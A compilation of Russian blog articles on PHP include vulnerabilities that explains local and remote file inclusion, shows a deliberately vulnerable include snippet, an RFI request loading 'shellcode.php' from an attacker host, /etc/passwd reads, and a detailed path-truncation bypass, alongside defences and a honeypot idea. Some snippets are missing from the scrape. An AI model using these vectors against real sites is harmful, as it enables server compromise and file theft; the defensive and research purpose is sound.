- PHP include
- Защита от PHP include
- Аудит безопасности сайта
- IntSystem.org
- Случаи из опыта разработки различных WEB проектов. Интересные факты, статьи, впечатления. Программирование и все о нем в сфере WEB.
- Исследование уязвимости PHP include
- Что такое PHP-include
- Есть ли уязвимость?
- Анализируем
- Заметки
- Выход из дирректории
- Добавление просто слешей
- Небольшое отступление:
- Заключение
- Исследование уязвимости PHP include
- IntSystem.org
- Случаи из опыта разработки различных WEB проектов. Интересные факты, статьи, впечатления. Программирование и все о нем в сфере WEB.
- Необычная защита от PHP Include
- Как ищется инклуд…
- /etc/passwd
- Защищайтесь, сударь!
- Заключение
- Необычная защита от PHP Include
PHP include
PHP include является RFI (Remote file include) уязвимостью для сайтов, созданных на PHP.
PHP include — это одна из самых грозная уязвимостей для сайта созданного на PHP.
Эксплуатация PHP include представляет максимальную угрозу для атакуемого сайта, и во всех случаях приводит к его взлому Возможность включения и выполнения удаленного PHP файла — в 100% случаев приводит к взлому сайта, так как обеспечивает получение веб-шелла на атакуемом сервере.
Возможность эксплуатации PHP include возникает из за грубейших ошибок разработки сайта, отсутствия фильтрации передающих параметров, использование небезопасных функция и приемов программирования.
Пример уязвимого PHP скрипта (RFI PHP include):
Форма Файла http://vulnserver.com/vuln.html
Файл http://vulnserver.com/vuln.php
$color = «blue»;
if (isset( $_GET[color] ) )
$color = $_GET[color];
include( $color . ‘.php’ );
> ?>Вызов скрипта:
http://vulnserver.com/ vuln.php?color=http://devil_site.com/shellcode.phpРезультат:
Выполнение веб-шелла на атакуемом сервере.
Разработчик сайта предполагает в качестве опции использовать только свои файлы blue.php и red.php
Злоумышленник, воспользовавшись уязвимостью в коде сайта, выполняет свой файл (шелл — код) на сервере жертвы, со своего сервера, получая полный доступ к атакуемому сайту.
Уязвимость PHP include на сайте — это максимальная угроза для его безопасности.
Защита от PHP include
Фильтрация параметров, передающих данные в eval(); assert(); include(); include_once(); require(); require_once(), create_function(), preg_replace() и т.д.
Отключение директивы allow_url_include в конфигурации php (если это возможно, и не нарушает работу сайта).
Проверка валидности запросов, серверного пути. Использование суперглобального массива $_SERVER .
Аудит безопасности сайта
Поиск и устранение PHP include и других уязвимостей сайта.
IntSystem.org
Случаи из опыта разработки различных WEB проектов. Интересные факты, статьи, впечатления. Программирование и все о нем в сфере WEB.
Исследование уязвимости PHP include
Помимо программирования, я увлекаюсь исследованиями в области безопасности web приложений. Занимаюсь аудитом на заказ и так далее. И вот на днях мне попался вот такой вот код (я немного упростил его, чтобы было понятнее):
Налицо обычная уязвимость класса PHP-инклудинг. Но, человек, для которого я делал аудит, заявил мне, мол, эту уязвимость эксплуатировать невозможно, поэтому она не считается. Пришлось с ним поспорить
Что такое PHP-include
Проведем маленький ликбез по этой уязвимости. PHP-include — уязвимость которая позволяет «приинклудить» произвольный файл, например такой код:
Позволяет выполнить PHP код в любом файле на сервере, а все «не php» позволяет прочитать, например вот так:
И так как в файле «/etc/pаsswd» обычно нет php тегов (), то он выведется в браузер, как вывелся бы html код вынесенный за php теги в обычном php скрипте. Конечно чтение файлов всего лишь одна из возможных реализаций этой атаки. Основная же все таки это инклудинг нужных файлов с нужным php кодом.
Вернемся к примеру. Усложним его:
Как видите теперь в конце к нашей переменной добавляется строка, которая нам мешает приинклудить любой файл. Так вот, многие функции php не являются бинарно безопасными, т.е такие функции считают NULL-байт за конец строки. Обращаемся к скрипту так:
И если дирректива magic_quotes отключенна, то мы снова увидим содержимое /etc/pаsswd
Есть ли уязвимость?
Как видно, наша переменная принудительно проходит через «addslashes» и если мы попытаемся использовать NULL-байт то он будет преобразован в «\0» и инклуда не выйдет.
Но прогресс не стоит на месте! Оказывается некие ребята из USH нашли в PHP интересную фичу PHP filesystem attack vectors (англ.). Если в кратце пересказать суть статьи, то php обрабатывает пути с использованием нескольких особенностей:
- Усечение пути — php обрезает строку пути до заданной длины MAXPATHLEN (В Windows до 270 символов, в NIX — обычно 4096, в BSD — обычно 1024)
- Нормализация пути — php обрабатывает путь специальным образом, удаляя лишние символы «/» и «/.» и их различные комбинации
- Приведение к каноническому виду — убираются лишние переходы, например «dir1/dir2/../dir3» приводится к «dir1/dir3/» при этом существование дирректории «dir2» не проверяется, и прочие похожие преобразования (т.е продолжение нормализации)
Теперь по порядку что происходит с переданным путем:
- Если путь передан относительный, то к нему вначале подставляются значения из диррективы include_path
- Далее путь обрезается до определенной длины в зависимости от платформы
- Проводится нормализация пути
- Путь приводится к каноническому виду
Теперь попробуем воспользоваться этим. Попробуем приинклудить некий файл «test.php» который находится в дирректории «modules/». Для этого добавляем в конец симолы «/.» таким образом чтобы общая длина, вместе с именем файла, значением из include_path была заведомо больше 4096 символов.
script.php?module=test.php/././.[. ]/././.
При этом необходимо подгадать так, чтобы вся строка пути (уже обрезанная) заканчивалась на точку (важно!), а не на слеш. Для этого можно добавить один слеш вот так:
script.php?module=test.php//././.[. ]/././.
И один из этих вариантов сработает точно.
Анализируем
Смотрим по порядку какие преобразования произойдут с путем
modules/test.php//././.[. ]/./././module.class.php
4200 символов
Первое что происходит со строкой, это к ней добавляется значение из include_path:
/home/site/public_html/modules/test.php//././.[. ]/./././module.class.php
4223 символа
Затем строка ускается до MAXPATHLEN (допустим 4096):
/home/site/public_html/modules/test.php//././.[. ]/./.
4096 символов
Здесь видно зачем нужно было добавлять еще один слеш (иначе бы строка обрезалась до слеша). Теперь производится нормализация этой строки, сначала убераются лишние слеши:
/home/site/public_html/modules/test.php/././.[. ]/./.
4095 символов
Теперь самое интересное! Далее при нормализации убраются все повторяющиеся «/.»
/home/site/public_html/modules/test.php
39 символов
В итоге получаем правильный путь до нужного нам файла, и этот путь уже передастся в инклуд, и приинклудится нужный нам файл.
То есть вот так мы приинклудим наш файл «test.php» успешно.
script.php?module=test.php//././.[. ]/././.
А значит уязвимость есть и не теоритическая. В итоге мой клиент проспорил, а я выйграл спор и 10 рублей на которые мы поспорили. Конечно, помимо 10 рублей я выйграл еще и доверие и уважение в глазах клиента, что тоже не мало важно.
Заметки
Здесь я рассмотрю пару интересных особенностей эксплуатации этой уязвимости.
Выход из дирректории
Опустим тот момент, что можно вопсользоваться RFI и приинклудить файл с удаленного сервера. Допустим на сервере «allow_url_include=OFF».
Рассмотрим ситуацию когда нам надо приинклудить файл из дирректории ниже:
script.php?module=../test.php/././.[. ]/././.
Такое обращение выдаст ошибку, типа файл не найден. И для того чтобы это обойти нам надо обратится вот так:
script.php?module=blabla/../../test.php/././.[. ]/././.
Я не зря описывал про канонизацию путей. Благодаря ей дирректория «blabla» не обязательно должна существовать.
Добавление просто слешей
Внимательный читатель наверное заметил что в описании нормализации я написал что мол убираются лишние слеши «/» и точки со слешами «/.», так почему бы не использовать просто слеши, дабы избежать лишнего гемора с попаданием точки в конец.
Все дело в алгоритмах, то есть, слеш с точкой «/.» убирается полностью. А вот с просто слешами дело обстоит немного сложнее, при нормализации каждые два слеша заменяются на один до тех пор пока не останется один(!) слеш, пример:
/home/site/public_html/modules/test.php//////////////////
57 символов
↓
/home/site/public_html/modules/test.php/////////
48 символов
↓
/home/site/public_html/modules/test.php/////
44 символов
↓
/home/site/public_html/modules/test.php///
42 символов
↓
/home/site/public_html/modules/test.php//
41 символов
↓
/home/site/public_html/modules/test.php/
40 символов
Итого переданная строка будет считаться путем к папке а не к файлу, т.к. на конце останется слеш.
Небольшое отступление:
Причем если обратить внимание на многие, популярные хак ресурсы, то можно заметить эту ошибку. Я так понимаю эта ошибка началась со статьи некоего Raz0r где он предложил вектор:
index.php?act=../../../../../etc/pаsswd/////[…]/////
И обратите внимание даже журнал ][акер повторил эту ошибку в своей статье. При этом даже в оригинальной статье USH было четко написанно что использовать просто слеши не желательно, и необходимо чтобы в конце перед нормализацией остался символ точки. А просто слеши (даже без точки на конце) работают только в PHP c Suhosin.
То есть использовать слеш с точкой «/.» — более универсальный метод, так как, в отличие от слешей «/», он работает для всех версий php.
Заключение
Надеюсь эта статья поможет вам понять, что в своих скриптах нельзя оставлять даже малейшие уязвимости, так как рано или поздно под них можно разработать свой вектор атаки, что может привести к серьезным последствиям.
Исследование уязвимости PHP include
IntSystem.org
Случаи из опыта разработки различных WEB проектов. Интересные факты, статьи, впечатления. Программирование и все о нем в сфере WEB.
Необычная защита от PHP Include
Давайте с вами подумаем кто такой хакер? Хакер — это не взломщик! Люди часто путают эти понятия. Хакер — это прежде всего человек с нестандартным мышлением, и в этом его сила, если можно так сказать.
Чтобы успешно противостоять хакеру, нужно также научится нестандартно мыслить. Как говорится, клин клином вышибают.
Сегодня я предложу вам очень необычный способ защитится от атак типа php include. Подходит он конечно далеко не всем. И если чесно защищает он не от самой атаки, а от ее обнаружения. Заинтриговал?
Как ищется инклуд…
Давайте сначала разберемся как именно взломщик пытается обнаружить уязвимость.
Выглядит это следующим образом. Злоумышленник модифицирует все входящие параметры по очереди, предполагая что данные этих параметров попадают в функцию инклуда. Ну или если по-простому пытается «приинклудить» файлы. И для того чтобы определить есть ли уязвимость или нет, ему необходимо приинклудить какой нибудь файл на целевой системе (приикнулдилось — уязвимость есть, нет — уязвимости нет).
Естественно если злоумышленник действует извне, то он не знает структуру расположения каталогов и файлов, и не может приинклудить любой файл, так как не будет знать пути к нему. Но бывают такие файлы, которые всегда существуют в системе, и к которым есть всегда права на чтение. Для Linux — это /etc/passwd, а для Windows — пусть будет C:\boot.ini. Но впрочем Windows нас мало интересует, поэтому дальше мы будем говорить про passwd
/etc/passwd
Наверное вы натыкались в своих логах на больше количество записей вида:
Если да — то знайте, у вас пытались найти php include (ну или возможность чтения произвольных файлов, но нас сейчас это не интересует). Так вот, если один из ваших параметров не обрабатывается должным образом и попадает в функцию include(), то тогда бы файл /etc/passwd приинклудился, содержимое бы его интерпретировалось как php скрипт, и так как он не содержит тегов php кода, он бы вывелся в браузер в неизменном виде. Это бы и послужило бы взломщику «маркером» наличия уязвимости.
К чему я это пишу, к тому что при поисках инклудов, злоумышленник обязательно (гарантирую что в 90% случаев) будет пытаться приинклудить файл /etc/passwd.
Защищайтесь, сударь!
Наверное вы сейчас подумали: «Он что, хочет предложить обычный WAF и фильтровать пакеты по наличию /etc/passwd в них?». Нет. Это стандартный способ. Это пример того как мыслит обычный человек.
Давайте проявим немного фантазии. Почему бы нам просто не добавить немножко php кода в содержимое файла passwd? И если вдруг у злоумышленника получится его приинклудить, то наш php код выполнится. (Считаете бредом? — загляните в заключение)
Так как мы знаем, что единственный кто догадается инклудить этот файл — взломщик, то наш php код должен его банить, и для того чтобы нашу систему не взломали дальше, блокировать уязвимый файл, и желательно уведомлять о проишествии администратора.
Но как же добавить php код в /etc/passwd ведь его синтаксис жестко регламентирован? У каждого пользователя есть поле «comment» — описание пользователя, туда можно вписать все что угодно (за исключением двоеточия, разумеется). Поэтому берем и добавляем пользователя в систему с нужным нам комментарием. После этого /etc/passwd будет содержать вот такую строчку
Ну а в подключаемом скрипте уже выполняем нужные вам действия — баним пользователя, блокируем обращение, уведомляем администратора.
В итоге у нас получилась своебразная ловушка, которая сможет защитить ваш сайт от взлома.
Заключение
Да, я вполне отдаю себе отчет, что все написанное выше похоже на бред. И прекрасно понимаю, что никто это на практике использовать не будет. Но писал я не для этого. Писал я для того чтобы показать пример нестандартного подхода в области защиты.